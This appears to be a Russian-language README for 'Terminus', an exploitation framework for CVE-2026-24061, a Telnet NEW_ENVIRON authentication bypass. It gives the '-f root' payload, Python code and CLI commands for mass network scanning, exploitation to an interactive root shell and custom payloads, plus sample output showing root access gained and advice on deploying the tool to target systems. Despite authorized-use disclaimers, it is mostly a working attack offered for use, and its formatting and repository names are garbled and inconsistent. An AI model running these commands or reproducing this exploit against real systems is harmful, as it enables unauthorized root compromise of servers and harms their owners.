
AsyncIO-сканер и фреймворк для эксплуатации CVE-2026-24061 (обход аутентификации NEW_ENVIRON в Telnet). Возможности: обнаружение с высокой степенью параллелизма, пассивное снятие отпечатков и авторизованное повышение привилегий до root-оболочки.
Движок анализа безопасности для уязвимости обхода аутентификации и повышения привилегий CVE-2026-24061 в Telnet NEW_ENVIRON.

Terminus — это профессиональный инструмент исследования безопасности, предназначенный для авторизованного тестирования на проникновение и оценки уязвимости CVE-2026-24061. Эта критическая уязвимость затрагивает устаревшие реализации демона Telnet, позволяя неаутентифицированным удаленным злоумышленникам обходить аутентификацию и получать доступ уровня root.
CVE-2026-24061 — это уязвимость удаленного выполнения кода в службах Telnet, поддерживающих RFC 1572 (опция окружения Telnet). Уязвимость эксплуатирует некорректную санитизацию переменной окружения USER во время субсогласования NEW_ENVIRON:
USER=john → запрос пароляUSER=-f root → обход аутентификации, предоставление root-оболочкиВоздействие:
Затронутые службы:
192.168.0.0/24, 10.0.0.0/8)--verify): доказательство эксплуатации, подтверждение доступа uid=0 rootTerminus.handshake() — рукопожатие, совместимое с RFC 854Terminus.exploit() — доставка полезной нагрузки CVE-2026-24061--exploitСердце Terminus — класс TerminusNegotiator, обеспечивающий четкое разделение между обработкой протокола и логикой эксплуатации:```python
from terminus import TerminusNegotiator
negotiator = TerminusNegotiator()
await negotiator.handshake(target="192.168.1.100", port=23)
result = await negotiator.exploit(payload="-f root")
if result.success: print(f"Root shell acquired: {result.evidence['uid']}")
### Engine vs. Script Approach
**Традиционные скрипты** (существующие инструменты):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell
Terminus engine:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report
---
## Установка
### Требования
- **Python 3.10+**
- **Поддерживаемые платформы:**
- Windows 10/11 (PowerShell)
- Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
- Нативный Linux (Kali, Parrot, Ubuntu, Debian)
- macOS (с Python 3.10+)
### Быстрый старт (все платформы)
#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
# Run setup script
.\setup_env.ps1
# Activate virtual environment
.venv\Scripts\Activate.ps1
# Verify installation
terminus --version
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406
chmod +x setup_env.sh ./setup_env.sh
source venv/bin/activate
terminus --version
#### Ручная установка (все платформы)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406
# Create virtual environment
python3 -m venv venv
# Activate (Linux/macOS/WSL)
source venv/bin/activate
# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1
# Install dependencies
pip install -e .
# Verify
terminus --version
telnetlib3 — реализация протокола Telnet на AsyncIOrich — терминальный интерфейс и форматирование (поддержка ANSI на Windows/Linux)pydantic — валидация данных и моделиaiofiles — асинхронный ввод/вывод файловjinja2 — шаблоны для отчётовpyyaml — управление конфигурациейpathlib — кроссплатформенная работа с путями (встроенный)Примечание: Все зависимости написаны на чистом Python или имеют кроссплатформенные сборки. Компиляция под конкретную платформу не требуется.
Включите автодополнение по табуляции для более быстрого ввода команд:
_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc
_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
Протестируйте:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.
---
## Использование
### Режимы сканирования
#### Сканирование одной цели```bash
terminus scan -t 192.168.1.100
terminus scan -t 192.168.1.0/24
#### Пакетное сканирование на основе файлов```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500
terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200
### Режимы обнаружения
#### Пассивное обнаружение (по умолчанию — безопасно)```bash
terminus scan -t target.com --passive-only
terminus scan -t target.com --aggressive
#### Режим активной проверки (Proof-of-Exploit)```bash
terminus scan -t 192.168.1.100 --verify
Проверка версии:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db
**Пассивное сканирование (по умолчанию — консервативная оценка рисков):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 0 │
│ High: 0 │
│ Medium: 0 │
│ Low: 1 │
│ Info: 0 │
│ │
│ Duration: 3.53s │
│ Avg Scan Time: 3522.22ms │
│ │
╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low │ unknown │ Unknown │ YES │ - │ 3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
No vulnerable targets found
Активная проверка с помощью --verify (доказательство эксплуатации):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify
Parsing 1 targets... Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00
╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
Found 1 vulnerable targets!
**Интерактивная эксплуатация:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Attempting exploitation of 172.17.45.122:2323...
Payload: -f root
CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained
[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit
whoami
root
┌──[root@parrot]─[~]
└──╼ #
Ключевые наблюдения:
Что делает:
-f rootuid=0 в ответеВарианты использования:
Пример вывода:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A
**Пакетная проверка:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json
Примечание: Активная проверка подразумевает эксплуатацию. Используйте только с соответствующим разрешением.
terminus scan -t 192.168.1.0/24 -o json > results.json
#### HTML-отчет```bash
terminus scan -f targets.txt -o html -w report.html
terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv
### Эксплуатация (Только при авторизованном использовании)
#### Интерактивная оболочка```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target
terminus exploit -t 192.168.1.100 -c "id"
#### Пользовательская нагрузка```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"
terminus update-signatures
#### Проверка предыдущих результатов```bash
terminus verify -f results.json
terminus version
---
## Настройка тестовой среды
### Для Red Team: Кроссплатформенное развертывание
**Terminus разработан для портативного развертывания** — скопируйте каталог в любую систему Windows/Linux и запускайте без установки:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative
# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24
# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml
Рекомендуется для рабочих станций Red Team на Windows — изолированная среда Linux для развертывания уязвимых тестовых сервисов:
wsl --install
wsl --install -d kali-linux
wsl -l -v
#### Внутри WSL2 (Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y
# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv
# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump
# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate
ВНИМАНИЕ: Только в изолированных лабораторных средах. Никогда на производственных системах.```bash
sudo apt install netkit-telnetd=0.17-*
sudo systemctl restart inetd
### Кроссплатформенная матрица тестирования
Протестируйте Terminus на всех платформах, используемых вашей Red Team:
| Платформа | Установка | Сканирование | Эксплуатация |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | Да | Да | Да |
| WSL2 - Kali Linux | Да | Да | Да |
| WSL2 - Parrot OS | Да | Да | Да |
| WSL2 - Ubuntu | Да | Да | Да |
| Native Kali Linux | Да | Да | Да |
| Native Parrot OS | Да | Да | Да |
| macOS | Да | Да | Да |
---
## Справочник по API
### Интеграция с Python```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore
async def scan_network():
# High-level scanner
async with TerminusScanner() as scanner:
async for result in scanner.scan_targets(["192.168.1.0/24"]):
if result.risk_score == RiskScore.CRITICAL:
print(f"CRITICAL: {result.target}")
print(f" Daemon: {result.daemon_type} {result.version}")
print(f" Confidence: {result.vulnerability_confidence:.2%}")
async def exploit_target():
# Direct engine usage
negotiator = TerminusNegotiator()
# Handshake
success = await negotiator.handshake(target="192.168.1.100", port=23)
if not success:
print("Handshake failed")
return
# Exploit
result = await negotiator.exploit(payload="-f root")
if result.success:
print(f"Root access obtained")
print(f"Evidence: {result.evidence}")
# Run
asyncio.run(scan_network())
Этот инструмент предназначен ТОЛЬКО для:
Несанкционированное использование НЕЗАКОННО и неэтично.
--exploitЕсли вы обнаружили уязвимые системы с помощью Terminus:
Все пути указаны относительно корня проекта — работают на Windows, Linux и WSL без изменений:```yaml
scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second
detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true
signatures_db: "./signatures.db"
exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true
reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"
output_dir: "./reports"
logging: level: "INFO"
file: "./logs/terminus.log" format: "json" console_enabled: true